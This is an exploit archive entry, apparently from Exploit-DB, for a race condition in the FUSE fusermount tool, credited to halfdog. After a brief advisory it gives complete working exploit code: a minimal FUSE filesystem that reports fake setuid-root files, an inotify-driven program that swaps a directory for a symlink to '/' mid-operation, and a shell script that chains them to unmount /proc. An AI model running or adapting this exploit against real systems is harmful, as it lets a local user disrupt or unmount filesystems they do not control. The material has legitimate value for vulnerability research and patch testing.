FUSE fusermount Tool – Race Condition

  • 作者: halfdog
    日期: 2010-11-02
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/34953/
  • source: https://www.securityfocus.com/bid/44623/info
    http://www.halfdog.net/Security/FuseTimerace/
    
    FUSE fusermount tool is prone to a race-condition vulnerability.
    
    A local attacker can exploit this issue to cause a denial of service by unmounting any filesystem of the system. 
    
    https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34953.zip
    
    
    
    
    --- FuseMinimal.c ---
    /** This software is provided by the copyright owner "as is" and any
     *expressed or implied warranties, including, but not limited to,
     *the implied warranties of merchantability and fitness for a particular
     *purpose are disclaimed. In no event shall the copyright owner be
     *liable for any direct, indirect, incidential, special, exemplary or
     *consequential damages, including, but not limited to, procurement
     *of substitute goods or services, loss of use, data or profits or
     *business interruption, however caused and on any theory of liability,
     *whether in contract, strict liability, or tort, including negligence
     *or otherwise, arising in any way out of the use of this software,
     *even if advised of the possibility of such damage.
     *
     *Copyright (c) 2016 halfdog <me (%) halfdog.net>
     *See http://www.halfdog.net/Misc/Utils/ for more information.
     *
     *Minimal userspace file system demo, compile using
     *gcc -D_FILE_OFFSET_BITS=64 -Wall FuseMinimal.c -o FuseMinimal -lfuse
     *
     *See also /usr/include/fuse/fuse.h
     */
    
    #define FUSE_USE_VERSION 28
    
    #include <errno.h>
    #include <fuse.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    
    static FILE	*logFile;
    
    static char	*fileNameNormal="/file";
    static char	*fileNameCharDev="/chardev";
    static char	*fileNameNormalSubFile="/dir/file";
    
    static char	*realFileName="./RealFile";
    static int	realFileHandle=-1;
    
    static int io_getattr(const char *path, struct stat *stbuf) {
    fprintf(logFile, "io_getattr(path=\"%s\", stbuf=0x%p)\n",
    path, stbuf);
    fflush(logFile);
    
    int res=-ENOENT;
    memset(stbuf, 0, sizeof(struct stat));
    if(strcmp(path, "/") == 0) {
    stbuf->st_mode=S_IFDIR|0755;
    stbuf->st_nlink=2;
    res=0;
    } else if(strcmp(path, fileNameCharDev)==0) {
    //stbuf->st_dev=makedev(5, 2);
    stbuf->st_mode=S_IFCHR|0777;
    stbuf->st_rdev=makedev(5, 2);
    stbuf->st_nlink=1; // Number of hard links
    stbuf->st_size=100;
    res=0;
    } else if(strcmp(path, "/dir")==0) {
    stbuf->st_mode=S_IFDIR|S_ISGID|0777;
    stbuf->st_nlink=1; // Number of hard links
    stbuf->st_size=1<<12;
    res=0;
    } else if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) {
    stbuf->st_mode=S_ISUID|S_IFREG|0777;
    stbuf->st_size=100;
    
    if(realFileName) {
    if(fstat(realFileHandle, stbuf)) {
    fprintf(logFile, "Stat of %s failed, error %d (%s)\n",
    realFileName, errno, strerror(errno));
    } else {
    // Just change uid/suid, which is far more interesting during testing
    stbuf->st_mode|=S_ISUID;
    stbuf->st_uid=0;
    stbuf->st_gid=0;
    }
    } else {
    stbuf->st_mode=S_ISUID|S_IFREG|0777;
    stbuf->st_size=100;
    }
    stbuf->st_nlink=1; // Number of hard links
    res=0;
    }
    
    return(res);
    }
    
    
    static int io_readlink(const char *path, char *buffer, size_t length) {
    fprintf(logFile, "io_readlink(path=\"%s\", buffer=0x%p, length=0x%lx)\n",
    path, buffer, (long)length);
    fflush(logFile);
    return(-1);
    }
    
    
    static int io_unlink(const char *path) {
    fprintf(logFile, "io_unlink(path=\"%s\")\n", path);
    fflush(logFile);
    return(0);
    }
    
    
    static int io_rename(const char *oldPath, const char *newPath) {
    fprintf(logFile, "io_rename(oldPath=\"%s\", newPath=\"%s\")\n",
    oldPath, newPath);
    fflush(logFile);
    return(0);
    }
    
    
    static int io_chmod(const char *path, mode_t mode) {
    fprintf(logFile, "io_chmod(path=\"%s\", mode=0x%x)\n", path, mode);
    fflush(logFile);
    return(0);
    }
    
    
    static int io_chown(const char *path, uid_t uid, gid_t gid) {
    fprintf(logFile, "io_chown(path=\"%s\", uid=%d, gid=%d)\n", path, uid, gid);
    fflush(logFile);
    return(0);
    }
    
    
    /** Open a file. This function checks access permissions and may
     *associate a file info structure for future access.
     *@returns 0 when open OK
     */
    static int io_open(const char *path, struct fuse_file_info *fi) {
    fprintf(logFile, "io_open(path=\"%s\", fi=0x%p)\n", path, fi);
    fflush(logFile);
    
    return(0);
    }
    
    
    static int io_read(const char *path, char *buffer, size_t length,
    off_t offset, struct fuse_file_info *fi) {
    fprintf(logFile, "io_read(path=\"%s\", buffer=0x%p, length=0x%lx, offset=0x%lx, fi=0x%p)\n",
    path, buffer, (long)length, (long)offset, fi);
    fflush(logFile);
    
    if(length<0) return(-1);
    if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) {
    if(!realFileName) {
    if((offset<0)||(offset>4)) return(-1);
    if(offset+length>4) length=4-offset;
    if(length>0) memcpy(buffer, "xxxx", length);
    return(length);
    }
    if(lseek(realFileHandle, offset, SEEK_SET)==(off_t)-1) {
    fprintf(stderr, "read: seek on %s failed\n", path);
    return(-1);
    }
    return(read(realFileHandle, buffer, length));
    }
    return(-1);
    }
    
    
    static int io_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
    off_t offset, struct fuse_file_info *fi) {
    fprintf(logFile, "io_readdir(path=\"%s\", buf=0x%p, filler=0x%p, offset=0x%lx, fi=0x%p)\n",
    path, buf, filler, ((long)offset), fi);
    fflush(logFile);
    
    (void) offset;
    (void) fi;
    if(!strcmp(path, "/")) {
    filler(buf, ".", NULL, 0);
    filler(buf, "..", NULL, 0);
    filler(buf, fileNameCharDev+1, NULL, 0);
    filler(buf, "dir", NULL, 0);
    filler(buf, fileNameNormal+1, NULL, 0);
    return(0);
    } else if(!strcmp(path, "/dir")) {
    filler(buf, ".", NULL, 0);
    filler(buf, "..", NULL, 0);
    filler(buf, "file", NULL, 0);
    return(0);
    }
    return -ENOENT;
    }
    
    
    static int io_access(const char *path, int mode) {
    fprintf(logFile, "io_access(path=\"%s\", mode=0x%x)\n",
    path, mode);
    fflush(logFile);
    return(0);
    }
    
    
    static int io_ioctl(const char *path, int cmd, void *arg,
    struct fuse_file_info *fi, unsigned int flags, void *data) {
    fprintf(logFile, "io_ioctl(path=\"%s\", cmd=0x%x, arg=0x%p, fi=0x%p, flags=0x%x, data=0x%p)\n",
    path, cmd, arg, fi, flags, data);
    fflush(logFile);
    return(0);
    }
    
    
    static struct fuse_operations hello_oper = {
    .getattr	= io_getattr,
    .readlink	= io_readlink,
    // .getdir =deprecated
    // .mknod
    // .mkdir
    .unlink	= io_unlink,
    // .rmdir
    // .symlink
    .rename	= io_rename,
    // .link
    .chmod	= io_chmod,
    .chown	= io_chown,
    // .truncate
    // .utime
    .open = io_open,
    .read = io_read,
    // .write
    // .statfs
    // .flush
    // .release
    // .fsync
    // .setxattr
    // .getxattr
    // .listxattr
    // .removexattr
    // .opendir
    .readdir	= io_readdir,
    // .releasedir
    // .fsyncdir
    // .init
    // .destroy
    .access	= io_access,
    // .create
    // .ftruncate
    // .fgetattr
    // .lock
    // .utimens
    // .bmap
     .ioctl = io_ioctl,
    // .poll
    };
    
    int main(int argc, char *argv[]) {
    char	buffer[128];
    
    realFileHandle=open(realFileName, O_RDWR);
    if(realFileHandle<0) {
    fprintf(stderr, "Failed to open %s\n", realFileName);
    exit(1);
    }
    
    snprintf(buffer, sizeof(buffer), "FuseMinimal-%d.log", getpid());
    logFile=fopen(buffer, "a");
    if(!logFile) {
    fprintf(stderr, "Failed to open log: %s\n", (char*)strerror(errno));
    return(1);
    }
    fprintf(logFile, "Starting fuse init\n");
    fflush(logFile);
    
    return fuse_main(argc, argv, &hello_oper, NULL);
    }
    --- EOF ---
    
    --- DirModifyInotify.c ---
    /** This program waits for notify of file/directory to replace
     *given directory with symlink.
     *
     *Usage: DirModifyInotify --Watch [watchfile0] --WatchCount [num]
     *--MovePath [path] --MoveTarget [path] --LinkTarget [path] --Verbose
     *
     *Parameters:
     ** --MoveTarget: If set, move path to that target location before
     *attempting to symlink.
     ** --LinkTarget: If set, the MovePath is replaced with link to
     *this path
     *
     *Compile:
     *gcc -o DirModifyInotify DirModifyInotify.c
     *
     *Copyright (c) 2010-2016 halfdog <me (%) halfdog.net>
     *
     *This software is provided by the copyright owner "as is" to
     *study it but without any expressed or implied warranties, that
     *this software is fit for any other purpose. If you try to compile
     *or run it, you do it solely on your own risk and the copyright
     *owner shall not be liable for any direct or indirect damage
     *caused by this software.
     */
    
    #include <errno.h>
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/inotify.h>
    #include <sys/stat.h>
    #include <unistd.h>
    
    int main(int argc, char **argv) {
    char	*movePath=NULL;
    char	*newDirName=NULL;
    char	*symlinkTarget=NULL;
    
    int	argPos;
    int	handle;
    int	inotifyHandle;
    int	inotifyDataSize=sizeof(struct inotify_event)*16;
    struct inotify_event *inotifyData;
    int	randomVal;
    int	callCount;
    int	targetCallCount=0;
    int	verboseFlag=0;
    int	result;
    
    if(argc<4) return(1);
    inotifyHandle=inotify_init();
    
    for(argPos=1; argPos<argc; argPos++) {
    if(!strcmp(argv[argPos], "--Verbose")) {
    verboseFlag=1;
    continue;
    }
    
    if(!strcmp(argv[argPos], "--LinkTarget")) {
    argPos++;
    if(argPos==argc) return(1);
    symlinkTarget=argv[argPos];
    continue;
    }
    
    if(!strcmp(argv[argPos], "--MovePath")) {
    argPos++;
    if(argPos==argc) return(1);
    movePath=argv[argPos];
    continue;
    }
    
    if(!strcmp(argv[argPos], "--MoveTarget")) {
    argPos++;
    if(argPos==argc) return(1);
    newDirName=argv[argPos];
    continue;
    }
    
    if(!strcmp(argv[argPos], "--Watch")) {
    argPos++;
    if(argPos==argc) return(1);
    //IN_ALL_EVENTS, IN_CLOSE_WRITE|IN_CLOSE_NOWRITE, IN_OPEN|IN_ACCESS
    result=inotify_add_watch(inotifyHandle, argv[argPos], IN_ALL_EVENTS);
    if(result==-1) {
    fprintf(stderr, "Failed to add watch path %s, error %d\n",
    argv[argPos], errno);
    return(1);
    }
    continue;
    }
    
    if(!strcmp(argv[argPos], "--WatchCount")) {
    argPos++;
    if(argPos==argc) return(1);
    targetCallCount=atoi(argv[argPos]);
    continue;
    }
    
    fprintf(stderr, "Unknown option %s\n", argv[argPos]);
    return(1);
    }
    
    if(!movePath) {
    fprintf(stderr, "No move path specified!\n" \
    "Usage: DirModifyInotify.c --Watch [watchfile0] --MovePath [path]\n" \
    "--LinkTarget [path]\n");
    return(1);
    }
    
    fprintf(stderr, "Using target call count %d\n", targetCallCount);
    
    // Init name of new directory if not already defined.
    if(!newDirName) {
    newDirName=(char*)malloc(strlen(movePath)+256);
    sprintf(newDirName, "%s-moved", movePath);
    }
    inotifyData=(struct inotify_event*)malloc(inotifyDataSize);
    
    for(callCount=0; ; callCount++) {
    result=read(inotifyHandle, inotifyData, inotifyDataSize);
    if(callCount==targetCallCount) {
    rename(movePath, newDirName);
    //rmdir(movePath);
    if(symlinkTarget) symlink(symlinkTarget, movePath);
    fprintf(stderr, "Move triggered at count %d\n", callCount);
    break;
    }
    if(verboseFlag) {
    fprintf(stderr, "Received notify %d, result %d, error %s\n",
    callCount, result, (result<0?strerror(errno):NULL));
    }
    if(result<0) {
    break;
    }
    }
    return(0);
    }
    --- EOF ---
    
    --- Test.sh ---
    #!/bin/bash
    #
    # Copyright (c) halfdog <me (%) halfdog.net>
    #
    # This software is provided by the copyright owner "as is" to
    # study it but without any expressed or implied warranties, that
    # this software is fit for any other purpose. If you try to compile
    # or run it, you do it solely on your own risk and the copyright
    # owner shall not be liable for any direct or indirect damage
    # caused by this software.
    
    mkdir -p tmp/proc
    (cd tmp/proc; sleep 1; ../../FuseMinimal .) &
    (./DirModifyInotify --Watch tmp/proc --Watch /etc/mtab --WatchCount 8 --MovePath tmp --LinkTarget /) &
    sleep 3
    fusermount -u -z /proc/
    # Check that proc was unmounted by running ps
    ps aux
    --- EOF ---